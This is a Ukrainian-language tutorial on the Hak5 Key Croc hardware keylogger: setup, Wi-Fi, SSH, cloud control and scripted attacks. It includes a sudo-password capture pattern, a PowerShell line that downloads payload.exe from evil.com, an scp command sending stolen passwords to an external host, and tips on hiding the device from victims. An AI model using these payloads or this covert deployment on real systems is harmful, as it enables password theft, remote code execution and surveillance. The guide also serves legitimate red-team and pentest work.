Key Croc — це один із найпотужніших пентест-інструментів від Hak5, який поєднує кейлогер, інʼєктор команд, Wi-Fi-клієнт і систему віддаленого управління. У цьому повному гіді ви дізнаєтесь, як працює Key Croc, як налаштувати Wi-Fi, SSH і Cloud C2, як ловити паролі через MATCH і SAVEKEYS, а також як запускати багатофазні атаки з інʼєкцією команд через QUACK. Стаття охоплює кожен аспект: від конфігурації до захисту та відновлення. Ідеально для Red Team, пентестерів, дослідників безпеки і всіх, хто хоче використати Croc на повну. Глибоко, практично, покроково.
Key Croc — це професійний пристрій для перехоплення клавіатурного введення, розроблений компанією Hak5. Він виглядає як звичайний USB-подовжувач, але фактично є повноцінним Linux-компʼютером із підтримкою Bash, Wi-Fi, SSH, Cloud-клієнта, сховища даних і модулів інʼєкції клавіш. Це пристрій, який можна встановити між клавіатурою та комп’ютером, і він почне непомітно зчитувати всі натискання клавіш, а за потреби — реагувати на них заздалегідь прописаними сценаріями.
Croc — це не просто кейлогер. Його сила у тому, що він «живе» всередині системи автономно, запускає складні багатоступеневі атаки, підтримує хмарне управління та повністю налаштовується. В основі його — концепція пасивного очікування потрібного моменту. Він не поспішає інʼєктити щось відразу після запуску, а стежить, запамʼятовує, і тільки коли виконується певна умова (наприклад, користувач ввів слово «sudo») — вмикає режим атаки.
Основні особливості, які відрізняють Key Croc від звичайних кейлогерів або навіть інших пентест-пристроїв типу Rubber Ducky:
Підключення через Wi-Fi — може працювати як мережевий пристрій, що надсилає логи в реальному часі.
Cloud C2 — централізоване хмарне управління десятками пристроїв одночасно, з можливістю дистанційного керування, перегляду логів і запуску нових скриптів.
SSH-доступ — повноцінна оболонка, через яку можна працювати, як з Linux-сервером.
Автоматичні сценарії атаки — якщо спрацював шаблон, пристрій може зберегти дані, інʼєктити відповідь, змінити режим роботи або активувати наступну фазу.
Інʼєкція Ducky Script — емуляція натискання клавіш на рівні USB-клавіатури.
Повноцінна файлово-директорна система — конфіги, скрипти, логи — усе можна змінювати вручну або автоматично.
Фізичний захист — можливість захистити вхід у режим програмування паролем.
Оновлення прошивки — підтримка нових функцій із версіями firmware.
Таким чином, Key Croc — це інструмент не лише для зчитування, а й для управління, інʼєкції, автоматизації і контролю у найширшому сенсі.
Основна суть Key Croc полягає у перехопленні трафіку з USB-клавіатури. Пристрій вставляється між клавіатурою і компʼютером, і при цьому виконує дві ключові функції:
Пасивне прослуховування натискань клавіш, які користувач передає компʼютеру.
Активне реагування у вигляді запуску скриптів, інʼєкції команд або зміни режиму роботи.
Щойно Croc виявляє підключену клавіатуру — він входить у режим атаки (Attack Mode). У цьому режимі:
всі натискання клавіш проходять «крізь» Key Croc до компʼютера
Croc одночасно зберігає ці натискання у свої лог-файли (
croc_raw.log,croc_char.log)
система аналізує кожне введення і перевіряє, чи не збіглося воно з одним із заданих MATCH-патернів
Поки клавіатура не підключена, Croc світиться білим — він чекає. Щойно зʼєднання відбувається — він гасне і починає логування.
Режим Arming Mode активується тільки вручну — шляхом натискання кнопки на самому пристрої. У цьому режимі Croc перестає логувати клавіші і поводиться як звичайна флешка. Це потрібно для конфігурації, оновлення, встановлення скриптів або підключення до Cloud/SSH.
Стан пристрою можна відслідковувати за індикатором:
Зелений — запуск системи
Синій (миготить) — Arming Mode
Білий — клавіатура не виявлена
Жовтий — диск переповнено
Магента — конфігурація кейлогера
Ціан — налаштування Wi-Fi
Червоний — помилка
Отже, пристрій виконує приховану роль між клавіатурою і компʼютером, і в будь-який момент готовий перейти від простої фіксації до активної фази атаки — все залежить від введення користувача.
Одна з найпотужніших функцій Key Croc — це вміння реагувати не просто на кожне натискання клавіші, а на цілі шаблони введення. І тут вступає в гру команда MATCH. Саме вона перетворює Croc із пасивного кейлогера на контекстний інструмент атаки, який може чекати скільки завгодно, але спрацює тільки тоді, коли користувач введе щось важливе.
MATCH дозволяє задати певний шаблон (текстовий рядок або регулярний вираз), який, коли буде надрукований користувачем, автоматично активує скрипт (payload). Уяви, що Croc уважно слухає потік клавіш і просто чекає, поки ти скажеш «магічне слово». І коли ти нарешті вводиш, наприклад, sudo, — починається атака.
Як виглядає базовий payload із MATCH:
MATCH sudo SAVEKEYS /root/loot/pass.txt UNTIL \[ENTER\](.*?)\[ENTER\]
Що тут відбувається:
Якщо користувач набрав «sudo» — це спрацьовує як тригер
Після цього Croc активує команду
SAVEKEYS
Усе, що буде надруковано між першим і другим ENTER, буде записано у файл
Це класичний сценарій для фіксації sudo-пароля, який людина вводить після запиту на привілейовану команду. Такі паролі часто дуже цінні.
звичайний текст (
MATCH admin,MATCH login)
спеціальні клавіші (
MATCH \[CTRL-ALT-DELETE\],\[ESC\])
регулярні вирази (
MATCH ([Pp]assword|пароль|passwort)) — зручно для багатомовного моніторингу
NEXT N— зберегти наступні N натискань клавіш
LAST N— зберегти попередні N
UNTIL шаблон— зберігати до тих пір, поки не буде введено вказаний шаблон
Це дає вражаючу гнучкість. Наприклад, можна зберегти 50 попередніх натискань перед логіном — або чекати, поки людина двічі не натисне ENTER, і тільки тоді витягнути весь блок введення.
Особливості, які потрібно знати:
MATCHне розуміє^та$як у класичних regex — Croc читає безперервний потік
Не можна писати
MATCHу коментарях: це ламає парсер
Якщо ви вносите зміни у MATCH — обов’язково виконуйте
RELOAD_PAYLOADS
Максимальна кількість клавіш у SAVEKEYS — 255
Шлях до файлу завжди повинен бути абсолютним, наприклад:
/root/loot/pass.txt
Завдяки цьому механізму Key Croc може чекати на будь-яку ключову подію: логін, запит sudo, введення пароля Wi-Fi або навіть банальний ls — і реагувати саме в цей момент, коли користувач максимально вразливий.
Перед тим як Key Croc почне працювати як кейлогер і атакувальний пристрій, його потрібно сконфігурувати. Для цього передбачено спеціальний режим — Arming Mode. У цьому режимі пристрій поводиться як флешка: він не перехоплює клавіші і не виконує ніяких скриптів. Натомість дає змогу змінити налаштування, оновити скрипти, завантажити payload-и або підключити пристрій до хмари.
Arming Mode активується натисканням кнопки на корпусі Croc після підключення до компʼютера. У цьому режимі світлодіод блимає синім кольором. З’являється диск із назвою KeyCroc — це флешка, на якій знаходиться файл config.txt та кілька службових директорій.
config.txt— серце всієї конфігурації
Цей файл контролює основні функції пристрою: мову клавіатури, Wi-Fi, SSH, поведінку пристрою, безпеку тощо.
Ось найважливіші директиви:
DUCKY_LANG— мова розкладки клавіатури для інʼєкції. Дуже важливо вказати правильно, боQUACK STRINGбуде друкувати з урахуванням цієї мови.
WIFI_SSIDіWIFI_PASS— параметри підключення до бездротової мережі. Після підключення Croc отримає IP і буде готовий до SSH або Cloud.
SSH ENABLE— вмикає можливість підключатись по SSH (логін:root, пароль:hak5croc).
DNS— дозволяє задати власні DNS (можна прописати Google або Cloudflare, якщо виникають проблеми з резолвом).
ARMING_PASS— пароль для активації Arming Mode: тобто потрібно набрати його на клавіатурі, а потім натиснути кнопку, щоб увійти в конфігураційний режим.
ARMING_TIMEOUT— кількість секунд, протягом яких після введення пароля дозволено натиснути кнопку і активувати Arming Mode.
Після зміни
config.txtзавжди безпечно витягайте флешку, а потім перепідключіть пристрій — інакше нові налаштування не застосуються.
Не варто редагувати системні папки вручну (
/cache,/library) без потреби.
Якщо неправильно налаштувати Wi-Fi або SSH — пристрій стане ізольованим, і доведеться робити фізичний ресет.
Таким чином, конфігурація Croc — це не просто стартовий файл, а центр контролю над усіма функціями, без якого неможливо запустити жодну серйозну операцію.
Key Croc може працювати абсолютно автономно, але саме підключення до Wi-Fi перетворює його на повноцінний дистанційно керований інструмент. Через бездротову мережу Croc може:
підключатись до SSH-сесій,
отримувати оновлення або нові payload-и,
надсилати викрадені дані в реальному часі,
керуватись через Cloud C2 — централізовану хмарну платформу від Hak5.
Це дає змогу проводити операції без фізичного контакту з пристроєм — тобто Key Croc може залишатись увімкненим тижнями чи місяцями в офісі, лабораторії або будь-якому іншому місці, і надсилати інформацію оператору без найменшого втручання.
У файлі config.txt, який розташований у Arming Mode на флешці Key Croc, необхідно додати рядки:
Після перепідключення Croc:
автоматично підключиться до мережі,
отримає IP через DHCP,
відкриє порт 22 для SSH,
або, якщо додано
device.config, звʼяжеться із Cloud C2.
Cloud C2 — це платформа, яка обʼєднує усі пристрої Hak5: Key Croc, Bash Bunny, Packet Squirrel, Shark Jack тощо. Вона дозволяє бачити:
статус кожного пристрою (онлайн/офлайн),
останню активність,
спрацьовані MATCH-и,
логи й перехоплені паролі,
активні payload-и.
Запусти Cloud C2-сервер (локально або у хмарі)
Створи новий пристрій типу
Key Crocу панелі управління
Завантаж
device.config— файл із параметрами зʼєднання
Скопіюй
device.configу корінь флешки Croc у Arming Mode
Перепідключи пристрій — він підключиться автоматично
Після цього ти отримаєш повний контроль: можеш запускати скрипти, оновлювати конфіг, бачити всі події та знімати логи. Особливо зручно це в Red Team-операціях: один оператор — десятки віддалених пристроїв.
Коли Croc підключено до Wi-Fi, він не просто стає пристроєм для збирання логів — він перетворюється на повноцінний Linux-сервер, доступний по SSH. Це відкриває колосальні можливості для пентестера або Red Team-оператора.
Спочатку дізнайтесь IP-адресу Croc — її можна отримати з панелі Cloud C2, з DHCP-сервера, або просканувавши мережу (nmap, arp-scan)
Потім відкрийте термінал і підключіться:
Що доступно через SSH:
Повна структура директорій:
/payloads,/root/loot,/tmp,/etc,/bin,/usr,/lib
Редагування конфігів і скриптів: можна прямо у Nano/Vim змінити payload, не перепідключаючи пристрій
Пряме тестування: запуск скриптів вручну, перевірка MATCH-поведінки, інʼєкція команд
Встановлення додаткових утиліт: з офіційних або локальних
.deb-пакетів — наприкладtcpdump,nmap,curl,wget,impacket
Через SSH Croc стає не просто «кейлогером із флешкою», а активним, живим учасником атаки, як Raspberry Pi. Наприклад, можна:
слідкувати за логами в реальному часі:
tail -f /root/loot/matches.log
вручну запускати скрипти:
bash /payloads/myscript.sh
миттєво вивантажувати викрадені дані:
scp /root/loot/pass.txt [email protected]:/home/stolen/
Це дає перевагу у швидкості: не потрібно чекати, поки все пройде автоматично — ти керуєш прямо на місці.
Таким чином, SSH — це не просто зручність, а фундаментальна частина роботи з Croc, без якої складні сценарії і повний контроль неможливі.
Команда QUACK — це одна з головних фішок Key Croc. Вона дозволяє пристрою імітувати натискання клавіш на клавіатурі, тобто не лише слухати користувача, а й друкувати команди назад у систему. Це перетворює Croc на активного гравця: замість того щоб чекати, він може ініціювати дії — від запуску терміналу до копіювання файлів і навіть завантаження шкідливого ПЗ.
QUACK — це інтерпретатор Ducky Script. Цей скриптовий міні-язык дозволяє автоматично вводити:
текстові рядки (
QUACK STRING whoami)
комбінації клавіш (
QUACK CTRL ALT t)
дії натискання (
ENTER,TAB,GUI,ESC)
паузи між командами (
DELAY 500)
та запуск цілих скриптів (
QUACKFILE /root/inject.txt)
QUACK STRING powershell QUACK ENTER QUACK DELAY 500 QUACK STRING Invoke-WebRequest http://evil.com/payload.exe -OutFile C:\\temp\\p.exe QUACK ENTER
Що робить цей скрипт:
Відкриває PowerShell
Завантажує файл з віддаленого сервера
Зберігає його в системній папці
І все це — без будь-якої взаємодії з користувачем. Він може навіть не бачити, що щось відбувається.
CTRL, ALT, GUI, SHIFT — можна поєднувати:
QUACK CTRL ALT DELETE QUACK GUI r
DELAY — затримка у мілісекундах:
запуск команд адміністратора (
sudo,runas)
автоматичне введення пароля після захоплення через
SAVEKEYS
викрадення файлів (
cp ~/.ssh/id_rsa)
зміна мережевих налаштувань
установлення бекдорів
Усе це працює на будь-якій ОС, яка приймає клавіатуру: Windows, Linux, macOS. Для кожної можна налаштувати власний payload, адаптований під розкладку клавіатури (DUCKY_LANG).
Croc не просто запускає один скрипт після збігу — він дозволяє будувати логіку атаки: багатоступеневі, умовні, послідовні сценарії, які реагують на поведінку користувача у режимі реального часу.
Усі payload-и зберігаються у директорії /payloads. Їх можна комбінувати, перемикати, вимикати і запускати інші. Кожен файл .txt із MATCH буде автоматично розпізнано системою після завантаження.
Ключові команди у сценаріях:
ENABLE_PAYLOAD payload.txt— вмикає інший payload
DISABLE_PAYLOAD payload.txt— вимикає payload
RELOAD_PAYLOADS— перечитує всі сценарії
WAIT_FOR_LOOT /path/to/file— очікує появу вказаного лог-файлу
IFEXIST /path/to/file— умовна логіка: дія лише якщо файл існує
Фаза 1 — зловити пароль:
активувати новий payload після виявлення підключення до Wi-Fi
збирати різні логіни, паролі, команди і поступово ексфільтрувати
залишити Croc працювати у фоновому режимі з кількома сценаріями одночасно
Така логіка перетворює Key Croc на сценарну машину, яка не просто реагує, а будує динаміку атаки, контролюючи кожен наступний крок.
Уся суть атаки на основі кейлогінгу і автоматизації полягає не тільки у самій дії, а в зборі й обробці отриманої інформації. Key Croc — це не «разовий» інструмент, він постійно логує все, що відбувається, створює файли, систематизує їх за типом подій і розміщує у спеціальних директоріях.
Основна директорія, де зберігається вся інформація, — це:
/root/loot/
Саме тут ви знайдете найважливіше:
matches.log — хронологічний список усіх спрацьовувань MATCH
файли SAVEKEYS — наприклад,
sudo.log,login.log,pass.txtтощо
.filtered-файли — версії логів, очищені від службових символів:
[ENTER],[CTRL],[TAB]тощо
інші текстові документи, створені payload-ами: наприклад,
cmd.txt,output.log,creds.txt
Це файл, який веде себе як системний лог. У ньому записується кожне спрацювання шаблону MATCH, вказуючи:
дата й час
назва payload-а
який саме шаблон MATCH спрацював
пристрій, на якому це сталось (при Cloud-звʼязку)
Це перше місце, куди слід подивитись, якщо потрібно дізнатись: «Чи взагалі щось було перехоплено?»
Це «сирі» кейлоги — повна історія натискань.
croc_char.log— лог символів, які дійсно зʼявились на екрані (тобто вже оброблені, з урахуванням CAPSLOCK, SHIFT і т.д.)
croc_raw.log— лог натискань з кодами клавіш, як бачить сам пристрій
Іноді ці логи доповнюють один одного. Наприклад, якщо користувач вводив пароль, але натиснув Backspace — croc_raw зафіксує і це, а croc_char покаже лише фінальний результат.
Оскільки Croc — це Linux, у вас є всі стандартні інструменти:
awk— для розбору рядків і витягування даних
grep— для пошуку по шаблону
sed— для очищення від спецсимволів
cut,tail,head,sort,uniq— для систематизації
Також можна використовувати функцію автозапуску обробки прямо у payload-ах. Наприклад, одразу після збереження логіна — створити копію у .filtered або відправити його через SSH на зовнішній сервер.
Таким чином, Croc не просто збирає дані — він дає повний контроль над тим, що саме зібрати, як зберегти, і що робити далі.
Попри те, що Key Croc призначено для атаки, він має і механізми самозахисту. Якщо ви залишаєте його десь у полі — важливо бути впевненим, що жертва не зможе виявити, перепідключити або скопіювати ваші дані. Саме тому пристрій має кілька важливих функцій захисту.
У нормі, щоб змінити payload-и, конфіги або переглянути логи — потрібно натиснути кнопку на пристрої і ввійти в Arming Mode. Але зловмисник теж може це зробити. Щоб запобігти цьому, є директива ARMING_PASS.
ARMING_PASS 0987letmein
Це означає, що для входу в Arming Mode:
Користувач має набрати пароль на клавіатурі
Після цього — натиснути кнопку Croc
Тільки тоді зʼявиться флешка з конфігурацією
Якщо пароль не буде введено — Croc залишиться у режимі атаки, і ззовні виглядатиме як звичайна клавіатура. Це критично важливо у Red Team-операціях або при використанні в офісі: навіть якщо технік помітить «дивну коробочку» — він не отримає до неї доступ.
Іноді Croc «ламається» — особливо після кривих payload-ів, помилок у конфігурації або невдалого оновлення. У таких випадках передбачено режим відновлення.
Як виконати відновлення:
Утримуйте кнопку на корпусі Croc
Підключіть пристрій до компʼютера
Дочекайтесь миготіння червоно-синім світлом — це режим Recovery
Завантажте нову прошивку з сайту Hak5
Скопіюйте файл прошивки на зʼявлену флешку
Безпечно витягніть — пристрій оновиться автоматично
Увага: під час оновлення вся інформація на пристрої буде стерта. Payload-и, логи, конфіги — зникнуть. Перед оновленням обов’язково зробіть резервну копію.
Key Croc — це набагато більше, ніж просто кейлогер. Це високотехнологічний автономний інструмент, здатний слухати, аналізувати, реагувати, атакувати й передавати дані в реальному часі. Його сила — у поєднанні непомітності, потужності Linux-середовища, інʼєкції команд, Wi-Fi-зв’язку, сценарної автоматизації і хмарного управління. Це універсальна кіберзброя для тих, хто працює на передовій інформаційної безпеки.
Кожна функція Key Croc — не для «ефекту», а для реального сценарію атаки:
Хочеш зловити
sudoі витягти пароль? MATCH + SAVEKEYS.
Хочеш запустити PowerShell і завантажити пейлоад? QUACK STRING + ENTER.
Хочеш дистанційно керувати з іншого міста? Cloud C2 + SSH.
Хочеш увімкнути багатофазну атаку із зміною сценаріїв на ходу? ENABLE_PAYLOAD, DISABLE_PAYLOAD.
Цей пристрій може чекати годинами, днями, тижнями — але в потрібний момент він зробить саме те, що ти йому запрограмував. А потім — зникне з системи, залишивши лише кілька байтів тексту в логу.